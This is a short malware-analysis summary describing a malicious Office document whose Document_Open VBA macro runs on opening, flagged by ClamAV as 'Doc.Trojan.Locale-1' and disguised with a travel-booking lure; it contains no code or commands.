The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro. This macro is designed to execute malicious code upon opening the document, likely to download and execute a secondary payload. The ClamAV detection 'Doc.Trojan.Locale-1' further confirms its malicious nature. The document body appears to be a lure related to travel bookings.
